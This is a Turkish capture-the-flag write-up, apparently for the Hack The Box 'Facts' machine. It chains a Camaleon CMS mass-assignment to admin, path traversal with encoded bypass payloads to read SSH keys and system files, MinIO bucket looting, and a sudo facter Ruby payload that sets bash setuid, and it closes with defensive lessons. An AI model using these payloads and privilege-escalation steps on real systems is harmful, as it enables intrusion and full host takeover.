HTB Facts: Camaleon CMS IDOR, Path Traversal ve Sudo Facter

Facts makinesi: mass-assignment ile admin yapımı, Camaleon download_private_file path traversal, MinIO bucket'ten SSH anahtarı ve --custom-dir facter ile root.

9 dk okuma
ibrahimsql
1.790 kelime

HTB Facts#

Camaleon CMS Ruby on Rails CMS'tir. /admin/register akışı IDOR ile role'ta mass-assignment, admin olan kullanıcı download_private_file path traversal ile user.txt ve SSH key, sonra MinIO bucket'inden private key, sonunda sudo facter --custom-dir= ile root.

1. Recon#

nmap -p- --min-rate=10000 -sV -sC facts.htb

Beklenen port dağılımı:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 1d:4a:... (ED25519) 80/tcp open http nginx 1.24.0 (Ubuntu) | http-title: Facts - IT Solutions | http-server-header: nginx/1.24.0 | http-favicon: Camaleon CMS 9000/tcp open http MinIO Console |_http-title: MinIO Object Storage Service Info: OS: Linux

Üç port da anlamlı: 22 standart, 80 nginx arkasında site, 9000 ise S3-compatible MinIO konsolü. nmap -sC nin çalıştırdığı http-favicon scripti favicon hash'inden CMS'i Camaleon olarak işaretler. Sitenin footer'ında "Powered by Camaleon CMS 2.9.0" ibaresi de varsa versiyon teyit olur; bu sürüm için bilinen CVE'ler paket yöneticisinde aranır.

whatweb http://facts.htb # http://facts.htb [200 OK] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.24.0], # IP[10.10.10.66], PoweredBy[Phusion Passenger], Ruby[3.2.3], Title[Facts - IT Solutions], nginx ffuf -u http://facts.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc all -fc 404 # admin [200] # files [200] # login [301] # camaleon_cms [301]

/admin Camaleon'un yönetim paneline gider; https://github.com/ düzeninde public kayıt sayfası /admin/register üzerinden herkese açık olabilir. İlk iş kullanıcı adı/parola ile düz bir hesap açmak.

Port 9000'i ayrıca doğrula:

curl -sI http://facts.htb:9000/minio/health/live # HTTP/1.1 200 OK # Server: MinIO

/minio/health/live 200 dönüyorsa MinIO servisi canlı; /minio/login formu aynı kapıdadır. Bazı instance'larda 9001 portu console broker olarak çalışır; nmap -p 9000-9010 ile tara.

2. IDOR ile Admin#

Normal bir kullanıcı açtıktan sonra panelde "Profile" sayfasına git. Profil güncelleme isteğini Burp'ten yakala:

PATCH /admin/users/7 HTTP/1.1 Host: facts.htb Cookie: _camaleon_session=eyJfcmFpbHMi... Content-Type: application/x-www-form-urlencoded user[name]=testuser&user[email]=t@t.tt&user[password]=x123456

Rails update metodu params.require(:user).permit(...) ile güçlü parametre kullanıyorsa sadece izin verilen alanlar güncellenir. Ama bazı Camaleon sürümlerinde role alanı da permit listesine sızmıştır. İsteğe ekle:

curl -X PATCH http://facts.htb/admin/users/7 \ -H "Cookie: _camaleon_session=eyJfcmFpbHMi..." \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "user[name]=testuser&user[email]=t@t.tt&user[role]=admin"

Sayfayı yenile: sol menüde "Settings", "Filesystem", "Users" gibi admin sekmeleri görünüyor. Bu mass-assignment'dır: istemci, sunucunun beklemediği bir alanı gönderir ve ORM bu alanı olduğu gibi yazar. grep permit listesinde role geçiyorsa veya hiç permit yoksa bu açığın kapısı açıktır.

Mass-assignment'i Doğrulama#

Rails strong parameters kullanıyorsa permit listesi modelden bulunur:

git clone https://github.com/camaleon/camaleon-cms.git 2>/dev/null grep -rn "params.require(:user).permit" camaleon-cms/app/controllers/admin/users_controller.rb # %i[name email password role] <-- role listede ise kritik

Ardından Burp'te "Repeater" ile PATCH'i tekrarla; 200 OK ve "role":"admin" yanıtı gelirse açıklık kanıtlanmıştır. Yanıt 422 ise ya validasyon reddetmiştir ya da alan permit listesinde yoktur; bu durumda alan adını user[role_id], user[admin], user[roles][]=admin gibi varyantlarla dene.

3. Path Traversal#

Admin olduktan sonra "Media" altında dosya listeleme var. Bir medyaya sağ tıklayıp "Download as private" dediğinde istek şöyle:

GET /admin/media/download_private_file?file=uploads/private/report.pdf HTTP/1.1 Cookie: _camaleon_session=...

file parametresi sunucuda File.read(File.join(media_root, params[:file])) gibi birleştiriliyorsa .. bileşenleri media_root dışına çıkar:

GET /admin/media/download_private_file?file=../../../../../home/sherman/.ssh/id_rsa

URL-encode varyantı da denenir: ..%2f..%2f..%2f..%2f..%2fhome%2fsherman%2f.ssh%2fid_rsa. Yanıt SSH private key içeriğidir:

-----BEGIN OPENSSH PRIVATE KEY----- b3NzaC1lZDI1NTE5AAAA... -----END OPENSSH PRIVATE KEY-----

Aynı yolla /etc/passwd ve /var/www/config/database.yml çekilir; bu ikinci dosya DB kredisi ve MinIO anahtarı taşıyabilir.

Filtreyi atlatmak için URL-encode ve double-encode varyantları:

..%2f..%2f..%2f..%2f..%2fetc%2fpasswd ..%252f..%252f..%252f..%252fetc%252fpasswd ....//....//....//....//etc/passwd ..;/..;/..;/etc/passwd

....// filtresi ../'i tek geçişte siler ama ....// silindikten sonra kalan ../ tekrar birleşir; double-encode ise bazı proxy'lerde bir kez decode edilip ikinci decode uygulamada yapılır. Hepsi başarısızsa boş byte %00 veya Windows yolu ..\..\ varyantları denenir; Linux'ta genelde ../ ve encode varyantları yeter.

4. MinIO Pivot#

Admin panelinde Settings -> Filesystem Settings altında S3 seçeneği aktifse access key ve secret key görünür:

Adapter: S3 Endpoint: http://facts.htb:9000 Bucket: camaleon-media Access Key: BKIAIOSFODNN7EXAMPLE Secret Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

Bu credential'larla MinIO'yu enumere et:

export AWS_ACCESS_KEY_ID=BKIAIOSFODNN7EXAMPLE export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY aws --endpoint-url http://facts.htb:9000 s3 ls # 2025-11-02 backups # 2025-11-02 camaleon-media aws --endpoint-url http://facts.htb:9000 s3 ls s3://backups # 2025-11-02 14:22 id_rsa # 2025-11-02 14:22 id_rsa.pub # 2025-11-02 14:25 db-dump-20251102.sql.gz aws --endpoint-url http://facts.htb:9000 s3 cp s3://backups/id_rsa ./id_rsa chmod 600 id_rsa ssh -i id_rsa sherman@facts.htb # sherman@facts:~$ cat user.txt

Bucket Politikası Kontrolü#

MinIO'da admin credential ile tüm bucket'ları listeleyip her birinin policy'sini oku:

for b in $(aws --endpoint-url http://facts.htb:9000 s3 ls | awk '{print $3}'); do echo "== $b"; aws --endpoint-url http://facts.htb:9000 s3api get-bucket-policy --bucket "$b" 2>&1 | head -5 done

Public-read policy gördüğün bucket'ta doğrudan curl http://facts.htb:9000/<bucket>/<key> ile dosya çekilir; bu durumda credential gerekmez. camaleon-media bucket'ı public ise yüklenen tüm medya herkese açıktır; backups bucket'ında sık görülen db-dump ve id_rsa gibi hassas objeler varsa IAM policy'de s3:GetObject kısıtlanmalıdır.

5. Root: sudo facter#

sherman@facts:~$ sudo -l Matching Defaults entries for sherman on facts: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin User sherman may run the following commands on facts: (root) NOPASSWD: /usr/bin/facter --custom-dir=*

facter Puppet'in sistem fact toplayıcısıdır; --custom-dir ile ek fact tanımlarının bulunduğu dizini okur. Verilen dizin içindeki .rb dosyaları root olarak eval edilir. Kendi fact'ini yaz:

mkdir -p /tmp/pwn cat > /tmp/pwn/x.rb <<'EOF' Facter.add(:pwn) do setcode do system("chmod +s /bin/bash") "done" end end EOF sudo /usr/bin/facter --custom-dir=/tmp/pwn # pwn => done ls -la /bin/bash # -rwsr-sr-x 1 root root ... /bin/bash /bin/bash -p # bash-5.2# id # uid=0(root) gid=0(root) groups=0(root),1003(sherman) cat /root/root.txt

-p bayrağı kabuk açılışında euid'nin korunmasını sağlar; setuid bit sayesinde bash root euid ile başlar.

Gite Yolu (satır satır)#

  • mkdir -p /tmp/pwn: fact dosyasını koyacağımız boş bir dizin; /tmp world-writable olduğu için sherman yazabilir.
  • cat > /tmp/pwn/x.rb <<'EOF' ... EOF: heredoc ile Ruby fact tanımını yazar; tek tırnaklı 'EOF' değişken genişlemesini kapatır, dosya birebir yazılır.
  • Facter.add(:pwn) do ... end: Facter'a yeni bir fact kaydeder; adı :pwn, değerini setcode bloğu üretir.
  • setcode do system("chmod +s /bin/bash") end: fact değeri hesaplanırken system çağrılır; bu, facter sürecinin çalıştığı kullanıcı yetkisiyle komut çalıştırır. sudo kuralı yüzünden o kullanıcı root'tur.
  • sudo /usr/bin/facter --custom-dir=/tmp/pwn: facter'ı root olarak başlatır, /tmp/pwn içindeki x.rb'yi yükler ve fact'i hesaplar; bu sırada chmod +s /bin/bash root olarak işlenir.
  • ls -la /bin/bash: setuid biti -rwsr-sr-x olarak görünür; s harfi setuid'nin aktif olduğunu gösterir.
  • /bin/bash -p: setuid bash'i korunan yetkiyle açar; aksi halde bash euid'yi düşürürdü.
  • id: uid=0(root) çıktısı tam yetkiyi doğrular.

Alternatif bir payload aynı etkiyi tek satırda verir: system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"). Kuru temizlik sonrası chmod -s /bin/bash ile iz bırakılmaması önemlidir; CTF dışında bu adımlar iz bırakır ve log üretir.

Saldırı Yolu (Attack Path)#

+------------------+ public register +---------------------------+ | Saldırgan |-------------------->| Camaleon /admin/register | +--------+---------+ +--------------+------------+ | | | düz hesap (role=user) | PATCH user[role]=admin v v +------------------+ media download +---------------------------+ | admin paneli |-------------------->| download_private_file | | (mass-assign) | ?file=../../../ | media_root dışına çıkar | +--------+---------+ +--------------+------------+ | | | /etc/passwd, database.yml, .ssh/id_rsa | S3 credential bulunur v v +------------------+ aws s3 ls +---------------------------+ | MinIO bucket |-------------------->| s3://backups/id_rsa | | (endpoint 9000) | | ssh sherman@facts | +--------+---------+ +--------------+------------+ | | | user.txt | sudo -l v v +------------------+ facter --custom-dir +---------------------------+ | sherman |-------------------->| x.rb: chmod +s /bin/bash | +--------+---------+ +--------------+------------+ | | | /bin/bash -p | setuid bash v v +------------------------------------------------------------------+ | root@facts:~# | +------------------------------------------------------------------+

Lessons#

  • CMS'lerde role attr'i üzerine IDOR/mass-assignment hâlâ sık. Rails gibi framework'ler strong parameters ile koruma sunar, ama permit listesine role, admin, is_staff gibi alanların sızması tek satırlık bir değişiklikle yetkisiz kullanıcıyı admin yapar. Test matrisine her PATCH/PUT endpoint'i için "izin verilmeyen alan ekle" satırı eklenmelidir; sadece kendi alanını güncelleyebilen hesap, rol alanını gönderebildiğindedir ve bu IDOR'un kardeş vektörüdür. Ayrıntılı kontrol listesi için Yetkilendirme test planı her endpoint'e uygulanmalıdır.
  • S3/MinIO credential'ları settings sayfasında plaintext durursa envanter patlar. Camaleon'un Filesystem Settings ekranı access key'i admin'e gösterir; admin olan herkes bu anahtarla bucket'ları listeler, indirir, hatta silebilir. Gerçek hayatta çözüm: credential'ı encrypt at rest saklamak, admin UI'da maskeler, ayrı IAM policy ile sadece gerekli bucket'a yazma izni vermek ve access key rotation süresini kısaltmaktır.
  • sudo + script/binary'nin custom-dir argümanı = verilen dizin kökte çalışır. facter --custom-dir=* kuralı, sherman'a root olarak arbitrary Ruby çalıştırma yetkisi verir; bu sudoers hatasının ders kitabı örneğidir. Benzer desenler puppet --modulepath, ansible-playbook -i, git -c core.sshCommand gibi birçok araçta tekrarlanır. Sudoers denetiminde kuralın argümanına bakılır; * veya kullanıcı kontrollü yol geçiyorsa kural root eşdeğerdir.
  • Path traversal koruması metni kırpmak değil, çözümlemektir. file.gsub("../", "") gibi filtreler ....// veya URL-encoded varyantlarında delinir. Güvenli yol: realpath(File.join(root, user_path)) sonucunun root ile başladığını doğrulamak ve symlink takibini kapatmaktır. download_private_file gibi endpoint'lerde izin verilen dosya adlarının allowlist'i en sağlam savunmadır.
  • Setuid bash kabuğu tek komutla root verir; sistemi denetlerken find / -perm -4000 düzenli çalıştırılmalıdır. Normal ortamda setuid bit'li dosyalar sınırlıdır (/usr/bin/sudo, /usr/bin/passwd); yabancı bir setuid bash veya python, yetki yükselişi izidir. Facts makinesindeki gibi sudo ile tetiklenen payload'lar bunu üretir ve iz bırakır. Bu kontrolü haftalık cron'a bağlayıp değişen setuid dosyalarını raporlayan bir script yazmak, incident response'un ilk adımıdır.
  • Camaleon sürümünü güncel tut; public CVE listesi düzenli taranmalı. download_private_file traversal'ı Camaleon 2.9.0'da raporlandı; composer update veya paket yöneticisi ile güncelleme yapmak bu sınıf açığı kapatır. Bilinen CVE için PoC yayınlandığında, internet'e açık Camaleon örnekleri otomatik taramada görünür ve saldırgan aynı gün erişir; bu yüzden CMS güncellemesi kritik yamadır.

Ek: Sık Karşılaşılan Tuzaklar#

  • user[role]=admin gövdesi URL-encoded olmalı. curl ile gönderirken -d otomatik application/x-www-form-urlencoded ekler; Postman'de x-www-form-urlencoded seçili değilse Rails gövdeyi parse etmez ve alan sessizce düşer.
  • Session cookie'i her yeni hesapta yenilenir. Kendi hesabını admin yapınca eski cookie ile devam etme; PATCH sonrası aynı cookie hâlâ geçerli olmalı, yoksa CSRF token'ını formdan alıp X-CSRF-Token header'ına ekle.
  • download_private_file admin gerektirir; sıra önemli. Önce mass-assignment ile admin olmadan traversal çalışmaz. Admin olmadan /admin/media/... 302 ile login'e atar.
  • aws s3 ls endpoint'siz çalışmaz. MinIO AWS S3 değil; her komutta --endpoint-url http://facts.htb:9000 ver. Region zorunluysa AWS_DEFAULT_REGION=us-east-1 export et.
  • facter çıktısında fact değeri görünmeyebilir. --custom-dir fact'i yükler ama Facter.add bloğu setcode'u sadece fact istendiğinde çalıştırır; facter pwn veya facter -p ile açıkça çağır.
  • Setuid bash bazı dağıtımlarda çalışmaz. Debian/Ubuntu'da bash -p gerekir; -p vermezsen bash euid'yi gerçek uid'ye düşürür ve root kaybolur.

Ek: Alternatif Root Yolları#

Aynı sudo kuralında argüman --custom-dir=* olduğu için farklı bir dizin de verilebilir; tek dosya yerine tüm dizin yüklenir. Aynı etki başka bir payload ile:

cat > /tmp/pwn/y.rb <<'EOF' Facter.add(:pwn2) do setcode do system("cp /bin/bash /tmp/rb && chmod +s /tmp/rb") "ok" end end EOF sudo /usr/bin/facter --custom-dir=/tmp/pwn pwn2 /tmp/rb -p id

Veya cron/systemd üzerinden root'a dönme: setcode { system("echo '* * * * * root cp /bin/bash /tmp/rb && chmod +s /tmp/rb' > /etc/cron.d/pwn") } yazıp bir dakika beklenebilir; ama doğrudan chmod +s bash daha hızlıdır. MinIO tarafında s3://backups bucket'ında db-dump-20251102.sql.gz varsa içinde users tablosu ve bcrypt hash'leri bulunur; hashcat -m 3200 ile bunlar da kırılabilir. Sherman şifresi bulunduğunda /bin/bash -p yerine ssh ile root shell de alınabilir, ama setuid bash daha sessizdir.

// RAPOR SONU Etiketler: HTB-Facts / IDOR / Camaleon / MinIO / facter sudo

---
Bu yazıyı paylaş:
TwitterLinkedInFacebook

Ne düşünüyorsun?

Tepki bırakarak geri bildirim ver

İlgili Yazılar